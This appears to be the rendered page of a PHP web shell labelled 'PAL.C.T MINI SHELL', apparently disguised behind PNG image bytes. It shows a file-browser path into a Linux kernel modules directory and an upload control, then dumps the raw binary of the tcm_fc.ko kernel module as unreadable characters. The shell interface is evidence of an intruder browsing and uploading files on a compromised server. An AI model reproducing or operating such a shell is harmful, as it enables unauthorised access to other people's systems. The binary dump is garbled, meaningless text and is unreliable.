php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-431.1.2.0.1.el6.i686/kernel/drivers/target/tcm_fc/
upload
files >> //lib/modules/2.6.32-431.1.2.0.1.el6.i686/kernel/drivers/target/tcm_fc/tcm_fc.ko

ELF4($#GNU?([&Gm@;P$ÍPuB@Í1Í'1Ív$Ét$t8DF$V t؋t$$v$t$Í'뛍t&'U4]áu}u
]u}]t+1T$$;T$$r׋Kttt=ttptt$ 	L$HfL$HdL$HpL$@l\$T$$D$?L==2C$T$T$$\$D$C,$0D$D$T$$
=GD$GD$T$T$$|$D$\$$pT$$CD$CT$T$$\$D$$D$T$$fYU]ӉuwczPvL<t-u_]Fu1]vډ]u]룋]uA]t=tD$D$$ot&'UWVS D$L$zP|$ɃȉL$L$tYA19FPst1҉D$CT$tC$^$tOD$؋L$ [^_]Ðt&K
CUS멍t&끐t&D$ [^_]ú=GPH]t$f\$t$҉T$@Q	A$	‰T$fU}x]ÉuPdu?B	<t<ft	<փu'C1ɋD@4$1]1u}]tЀ=tt$D$$\D$U]ӉuƉ}zP<t.]}u]&F LD$tk0D$GtOPDLLJLPTLJX0F]u}@]ujD$$+
=D$D$$t=/t$svSуËD@$1ɋQ؃[&U8uƁL]}D$(DCP&ڋ7\$$w]}u]zftGuW
%tDD$ G	D$ w<D$FX_L$(|$~L$ RL$L$D$\$D$L$L$\$6]u}]Ðwe=w҉T$$vD$ v tu@uD$$\T$(|$$ËPFD$D$D$|$t$$D$$D$$D$$D$$wDBP=_|$$$D$v' \$Xt$Ɖ|$l$t1\$t$|$l$ Ðغ)C-D$@`D$N9ȉL$L$DžtA19GP1҉ENtM
ȉEV8EF0tM
F(ȉET$CCL$PqlIpPT$Pl$MUPHJJP	@@	BB@@
@D$SCt$ffM
3&ʉL$L$L$L$&&',\$X|$$lj؉t$ l$(t1\$t$ |$$l$(,Ðt&kE`D$Ƹt1~P#@@W$ʉPT$CCMlL$EpD$~PL$PT$HT$L$QT$QL$PHL$JL$JP	@@	BB@@
@~Pvu@	tL$Uf;Hw8t$fD$SGt؋ҋ$D$t믺w
WVSQt7zA11	u(J@11	tB(=Pu1[^_Í&J009эAt[^_Í&VÍv'@@Í@Ív'Ív'1Í'Í&'@Ív'tÍUV]u}=*ǀ(ǀǀ ǀ0ǀǀP0ǀ`ǀpǀx1]u}]Ívu&D$h$tр=t$뺉'UWVS4D$T$0L$ B9D$D$M\$11Ƀt&|$ ljL$$tˆT$T$L$ tt$0D$(D$(T$,N	ЉD$,	ȉFރ;t$s5L$$Ss
_;Vރ;t$ljL$$rАt&~4[^_]ÐD$$+:u*1뉍&뾐|$$u+D$4[^_]ø1럃|$ t둍t&t$1D$$uu=7hT$$+t$|$D$T$t$$AfS1ɃÉЉ~
$L$SK[É'S1ɃÉЉ~
$L$SK[É'dIL$IL$@D$Y$D$Í'U‰ up]Tuع]u]%u9KYt΀=OtʼnT$T$\$L$t$$HT$럀=gt`T$$sD$KT$h%뇍Uuɉt=tT$T$$T$̍v'U ]ˉu}D$ujT$¸xBXЀ¸t"t$ً|$2zD$$ ]u}]t=tL$$oUЀSXtuC[]$|1tހ=tՉD$$Ð&USXu(C(؃[]tπ=tƃ0D$$뱍&'UVSXuUCCt@C؃[^]t=t$D$끍t&'U$]ˉuƉ}9t1ۉ؋u]}]ÍL$
CuڋXЀftF1ɉD$D$1҉D$GGGGD$D$$D$_D$<$xdD$ND$P4G=L$$D$1fUWVSÃ$@(D$C@@9Í8\$u-SK3N3V	tQ9D$8tf_u^KFL$NL$ L$3L$ L$1L$uЋT$T$ uVL$v$[^_]Ðt&1t=?tS\$$D$T$nt='tD$D$ \$$D$wt&He
L$41ɋL$L\$8\$P|$@ˇˉl$D݉\$0|$$ۉt$<Ή\$L$,\$ɉ\$l$(|$ t$L$D$T$$\$4e3u\$8t$<|$@l$DHt&SӃP@T$$
[Ðt&SӃP@T$$
[Ðt&U]ˉu}T$2y1]u}]Í&@ЀtϋD$T$C0SC0C4=PtFt$|$t&B(=Pt+J@11	u1at&C(CT$L$$ L$C8=L$$
St\@t(t$-tH`t
@f;Hv[ЉH'-D@\$0Ét$4։|$8l$<xzPH	P	i	Q	tOW`t[~Pv	tS,;H>\$0t$4|$8l$<@t&~Ph̓vՋS,9v΃L=L$);T$BtD$ AD$Q\$(t$,΃D$ՋD$9w,)1HuƋ@n9؉T$v)9ÉD$GD$D$$%)9GڋT$ D$$)ߍ,+D$$D$L$(\$ )H1_&PPLTǃLǃX@@~v'D$l$D$GD$$D$t&\$(t$,&'UWVSdD$ D$,T$,1t
d[^_]Ðt&Bt|$8W`T$<L$,D$DA|$ $|$PuD$ d[^_]D$ D$0XT$0L$0D$0\$DRT$\IL$L81D$PۉD$(}D$411D$XD$$D$T|$|$D$Qƒ@D(L$|$LpxfPsPsT@tT$J<D$`)t$P)D$XtfxD$TT$P|$8
ҋT$8ED$TD$TRlT$`Op{PPʍxWPOL$`HL$`JL$`JP	@L$TH	L$TJL$TJ@@
T$$ʉPD$<T$DD$PT$,R҉T$Dt$L)t$\t$@L$\T$Xt$@҉T$`|$\D$(9|$`Ft$`EL$D$LD$T$LǸ)9GD$4t$4]&D$0T$XD$0@9D$PFD$PD$\y|$LT$`t$@҉D$=L$<8,LT$(;D$PGD$P҉D$`utD$`D$XD$XÅD$4{Pv
D$4T$`L$,T$@@fC0t$$xK|$<T$8LD$D$PD$B\$D$.$D$&
=WL$8AD$.$ D$t&|$,@‹D$<hvL$L$@Ív'U@ut=t$D$ӐUVSÃH@q	A	tPi7D@u
:ft2;pXuC,T$T$u0t\[^]u~[^]tǀ=tT$\$t$$lT$렡@=3T$t$$T$u=ohT$t$$T$K:=-T$t$$T$v'$Ét$|$tGt$t$|$Ít	t	G1ϋLЀtpF1D@uSø\[$&U8uƸ]}@D$$GWʉT$(D$(0r OMI D$( VF D$i7D$PT$@t(HT$L$ ;Pue;PHTuЀ0D$ =L$ =AT$$T$$PL$ YD$ȃ,T$L$ DAT$Q ʋL$TtPCD$ T$ HC$T$$L$ QufT$(D$ PFVL$ AQF.fAUBȀȉBvT$T$uD]Ћu}]ÍM1ҋAȃȉA뼍t&L$ L$ Wt=t1tGD$F T$T$$D$T$x=T$D$ $T$D$vkt&'P,t
, )&VSV i7D@u	qtj;PXuCK StHC  BtNۉBCt+Cf[^Í&[^&SË@CP%[&UWVSÃۉ$݉؃9sn1fD=0tU^CK StHC  BBCC6uu$;uGǀ$Bt@B$[^_]u1҉1Ãu11
SÃЉʋKYI\$$[ÍUVSXtbuiCK StHC  BtpBC[^]v[^]t=tD$$pCy7@I
?Dpy5>PW\joz PYqz?ci	Q_A							
 
N
o

o
t


\


8BZdsz!?JW},;Zx	+<EW\x38DW\fo}"',4NSZmv2N_{\";X*27SX]kx6g_"3BG    X!!!!!!"""3":"C"f"""0"""""+#n#t#########$$"$/$E$J$Y$f$|$$$$$%4%9%E%l%y%%D&S&d&&&&I'R'X'''''''(()(K(e(j(((((
)')/)J)O)))*%*I*Z******+++$+2+;+I+N+##K%T%P()5).*+,+1Ҹ!&+0ƒu9t	ú11"+05:Afft_recv_reqft_recv_seqft_write_pendingft_queue_status!" $ft_recv_cmdft_send_resp_statusft_send_workft_send_tmft_queue_tm_resp_ft_dump_cmd 0@PPPP p`PpPft_register_configfsdebug_loggingft_parse_wwnft_del_aclft_add_aclft_del_tpgft_add_tpgft_del_lportft_add_lportft_tpg_release_fabric_aclft_tpg_alloc_fabric_aclft_acl_getft_recv_write_dataft_queue_data_inft_recvft_sess_getft_prlift_sess_createft_sess_closeft_sess_shutdown $(,048<@DHL`d<7>tcm_fc:%s: cmd %p sess %p seq %p se_cmd %p
<7>tcm_fc:%s: cmd %p data_nents %u len %u se_cmd_flags <0x%x>
<7>tcm_fc:%s: cmd %p sg %p page %p len 0x%x off 0x%x
<7>tcm_fc:%s: cmd %p sid %x did %x ox_id %x rx_id %x seq_id %x e_stat %x
<7>tcm_fc:%s: unhandled frame r_ctl %x
<7>tcm_fc:FCP error response: did %x oxid %x status %x code %x
<7>tcm_fc:tmr fn %d resp %d fcp code %d
<7>tcm_fc:cmd or seq allocation failure - sending BUSY
<7>tcm_fc:invalid FCP tm_flags %x
<7>tcm_fc:r_ctl %x alloc target_submit_cmd
drivers/target/tcm_fc/tfc_cmd.ccmd or seq allocation failure - sending BUSY
FCP error response: did %x oxid %x status %x code %x
r_ctl %x alloc target_submit_cmd
tmr fn %d resp %d fcp code %d
%s: cmd %p sid %x did %x ox_id %x rx_id %x seq_id %x e_stat %x
%s: cmd %p sg %p page %p len 0x%x off 0x%x
%s: cmd %p data_nents %u len %u se_cmd_flags <0x%x>
%s: cmd %p sess %p seq %p se_cmd %p
<3>%s: target_fabric_configfs_init() failed!
<7>tcm_fc:target_fabric_configfs_register() for FC Target failed!
<7>tcm_fc:err %u len %zu pos %u byte %u
<7>tcm_fc:del acl %p se_acl %p tpg %p se_tpg %p
<3>Unable to allocate struct ft_node_acl
<7>tcm_fc:acl %p port_name %llx
<7>tcm_fc:acl %p port_name %llx matched
%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2xdrivers/target/tcm_fc/tfc_conf.ctarget_fabric_configfs_register() for FC Target failed!
err %u len %zu pos %u byte %u
del acl %p se_acl %p tpg %p se_tpg %p
acl %p port_name %llx matched
drivers/target/tcm_fc/tfc_io.c<3>%s: xid 0x%x, f_ctl 0x%x, cmd->sg %p, cmd->sg_cnt 0x%x. DDP was setup hence not expected to receive frame with payload, Frame will be dropped if'Sequence Initiative' bit in f_ctl isnot set
<3>%s: Failed to send frame %p, xid <0x%x>, remaining %zu, lso_max <0x%x>
<7>tcm_fc:%s: Command aborted, xid 0x%x
%s: Command aborted, xid 0x%x
<7>tcm_fc:port_id %x found %p
<7>tcm_fc:port_id %x not found
<7>tcm_fc:sid %x sess lookup failed
<7>tcm_fc:port_id %x flags %x ret %x
drivers/target/tcm_fc/tfc_sess.cinclude/scsi/fc_frame.htcm_fc%s: unhandled frame r_ctl %x
invalid FCP tm_flags %x
fcTCM FC 0.4 on %s/%s on %s<7>tcm_fc:del acl %s
<7>tcm_fc:acl %p
<7>tcm_fc:add acl %s
<7>tcm_fc:del lport %s
<7>tcm_fc:del tpg %s
tpgt_tcm_fc<7>tcm_fc:tcm_fc: add tpg %s
<7>tcm_fc:add lport %s
del acl %s
add acl %s
del tpg %s
tcm_fc: add tpg %s
del lport %s
add lport %s
acl %p
acl %p port_name %llx
versionport_namenode_nameinclude/scsi/fc_frame.htcm_fc<7>tcm_fc:port_id %x
<7>tcm_fc:sid %x
<7>tcm_fc:port_id %x sess %p
tcm_fcsid %x sess lookup failed
sid %x
port_id %x not found
port_id %x found %p
port_id %x flags %x ret %x
port_id %x sess %p
port_id %x
}/license=GPLdescription=FC TCM fabric driver 0.4parm=debug_logging:a bit mask of logging levelsparmtype=debug_logging:intsrcversion=FF3ACEAA3AA423147F253B9depends=target_core_mod,libfcvermagic=2.6.32-431.1.2.0.1.el6.i686 SMP mod_unload modversions 686 }UPT{"""^T()2*6*cW+$(04<@HLTX`dlpx|nAmodule_layout}per_cpu__current_task4kref_putC+transport_deregister_sessioniparam_get_intabcore_tpg_registerMfc_fc4_register_providerT=fc_lport_iterate>S5Dtransport_generic_free_cmdp6
fc_get_pr_transport_id_lenmalloc_sizes=+dynamic_debug_enabled2Lhex_to_binH__ratelimit	target_fabric_configfs_deregisterMcore_tpg_deregisterDqueue_work?sg_next(mutex_unlockscsilun_to_int|target_submit_cmd%Kparam_set_intA,@blocking_notifier_chain_unregisterQcall_rcuZ,<sprintfC__list_addkunmap_atomicD+core_tpg_del_initiator_node_aclkmap_atomic[+memset8_ctype_fc_frame_alloc:bfc_fill_reply_hdr՗#printk_spin_lock_irq&#strict_strtoul=X:fc_parse_pr_out_transport_idX8transport_deregister_session_configfs$Cfc_fc4_deregister_providerR0warn_slowpath_nullmutex_lock%destroy_workqueue[D!list_del&mstrstr,synchronize_sched]fc_frame_alloc_fill.xtarget_fabric_configfs_freec__create_workqueue_key&vtarget_fabric_configfs_initpv_irq_ops__stack_chk_fail􀴜dynamic_debug_enabledMtDkfree_skb+wFtransport_register_session\MEblocking_notifier_chain_registerEkmem_cache_alloc_traceH8bfc_lport_notifier_head1:kref_initE>target_fabric_configfs_registerzkfreeY_fc_get_pr_transport_idκ`.memcpykref_getcHfc_get_fabric_proto_ident
ltarget_submit_tmr)target_execute_cmd@bget_pagecore_tpg_add_initiator_node_aclpsnprintf3transport_init_session<Pd$ 
`%`(#(04<@HPT\`dhpt;L0;X`;,l;,y=;};;;N;FH;@;<h(L;I(;e(;(";(.;(:;_(F;2(Z;(h;(v; (v;(;(~;.L;n?;?8;G@;GV;Sk;[;j;@x;- $048<HLPT`dhlx| $(,8<@DPTX\hlpt(,04@DHLX\`dptx|tcm_fc<Hdmodule.sigFR
	#!]4 s[rXbZ\!kj5	
PS(9J[gxx	pn00	*<	"`3HD)	S	bL	qX	l
	y		
	 
0@P`4pJ4R^	l(y0h	H ''SP&87PH Fbsp~hb^(+/ +FPHSdu %`0}	<Pd
	,	;	J	Y	h
	w
				
	x.	@!#):pKX\m$}P%`% )`(?	G	S	[	j	)x	8EO#bs E
i*L
$-MVi	4
		0	:	0%G	0X	0f	}	}			H	g		

,
"?=
 hU
`
u







*Ek@*!+ -9Y@)ft
@(
"
&
1
E
g
s
~






1?\@
oxp*$tfc_cmd.cft_free_cmddescriptor.59249descriptor.59234descriptor.59238descriptor.59241ft_recv_seqdescriptor.59551__func__.59552ft_send_resp_statusdescriptor.59595descriptor.59738ft_send_workdescriptor.59829__func__.59830descriptor.59781ft_send_resp_code_and_freeCSWTCH.1367descriptor.59681descriptor.59879__func__.59371__func__.59460__func__.59782__func__.59596__func__.59880__func__.59682__func__.59739__func__.59235tfc_conf.cft_get_fabric_nameft_get_fabric_wwnft_get_tagft_get_default_depthft_check_falseft_set_default_node_attrft_tpg_get_inst_indexft_exitft_notifierft_fabric_opsft_wwn_attrsft_nacl_base_attrs__func__.59406descriptor.59407ft_initft_parse_wwndescriptor.58741ft_nacl_store_node_nameft_nacl_store_port_nameft_wwn_show_attr_versionft_del_acldescriptor.58965descriptor.58959ft_tpg_release_fabric_acldescriptor.59109ft_add_acldescriptor.58912descriptor.59075ft_del_lportdescriptor.59322ft_del_tpgdescriptor.59199ft_add_tpgdescriptor.59143descriptor.59017descriptor.59021ft_nacl_show_node_nameft_nacl_show_port_nameft_add_lportdescriptor.59269__mod_license633__mod_description632__mod_debug_logging57__mod_debug_loggingtype56__param_debug_logging__param_str_debug_loggingft_wwn_versionft_nacl_port_nameft_nacl_node_name__func__.58742__func__.58960__func__.58913__func__.59200__func__.59144__func__.59323__func__.59270__func__.59110__func__.59076__func__.59018tfc_io.cft_execute_work__func__.59337_rs.59171__func__.59152descriptor.59151tfc_sess.cdescriptor.58943ft_recvdescriptor.58742descriptor.59212descriptor.59216descriptor.58749ft_tport_createft_sess_rcu_freeft_prlidescriptor.59127descriptor.58818ft_sess_freeft_prlodescriptor.58974__func__.59213__func__.58743__func__.59128__func__.58819__func__.58975__func__.58944tcm_fc.mod.c_rheldata__mod_srcversion98__module_depends____versions__mod_vermagic5ft_queue_data_inft_lport_find_tpgft_queue_tm_respft_lport_lockft_get_task_tagft_sess_close__this_moduleft_release_cmdtransport_init_sessionsnprintfcore_tpg_add_initiator_node_aclget_pagetarget_execute_cmdft_deregister_configfsft_queue_statustarget_submit_tmrft_write_pending_statusfc_get_fabric_proto_identkref_getcleanup_modulememcpyfc_get_pr_transport_idkfreetarget_fabric_configfs_registerkref_initft_lport_addft_get_cmd_stateft_format_wwnfc_lport_notifier_headft_recv_reqkmem_cache_alloc_traceblocking_notifier_chain_registerinit_moduleft_invl_hw_contexttransport_register_sessionkfree_skbdynamic_debug_enabled__stack_chk_failft_sess_shutdownft_tpg_alloc_fabric_aclpv_irq_opsft_register_configfstarget_fabric_configfs_init__create_workqueue_keytarget_fabric_configfs_freefc_frame_alloc_fillsynchronize_schedstrstrlist_deldestroy_workqueuemutex_lockwarn_slowpath_nullfc_fc4_deregister_providertransport_deregister_session_configfsfc_parse_pr_out_transport_idft_lport_notifyft_acl_getft_lport_liststrict_strtoul_spin_lock_irqprintkfc_fill_reply_hdr_fc_frame_alloc_ctypeft_configfsft_provmemsetft_recv_write_datakmap_atomiccore_tpg_del_initiator_node_aclft_lport_delkunmap_atomic__list_addsprintfcall_rcublocking_notifier_chain_unregisterft_debug_loggingparam_set_inttarget_submit_cmdscsilun_to_intmutex_unlockft_sess_putft_sess_get_indexsg_nextqueue_workcore_tpg_deregistertarget_fabric_configfs_deregister__ratelimithex_to_bindynamic_debug_enabled2malloc_sizesfc_get_pr_transport_id_lenft_dump_cmdtransport_generic_free_cmdfc_lport_iteratefc_fc4_register_providerft_write_pendingcore_tpg_registerparam_get_inttransport_deregister_sessionft_check_stop_freekref_putft_sess_get_port_nameper_cpu__current_tasktcm_fc.ko.debug{MQ.rodata.str1.1.rodata.str1.4.rel.data.rheldata.rel.rodata.symtab.strtab.shstrtab.note.gnu.build-id.rel__bug_table.rel.gnu.linkonce.this_module.rel__verbose.note.module.sig.gnu_debuglink.rel__param.modinfo__versions.rel.parainstructions.rel.altinstructions.bss.altinstr_replacement.rel.text.rel.init.text.rel.exit.textY4$2`\+.	+( K74G	8H <`8H8	8H 879 3	; 	2<2D`G	lG 
|G	G Ge I	I  p<Il	I )JJ # \	\ x]	`  dL |	f ff`?|f`!GuOV
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`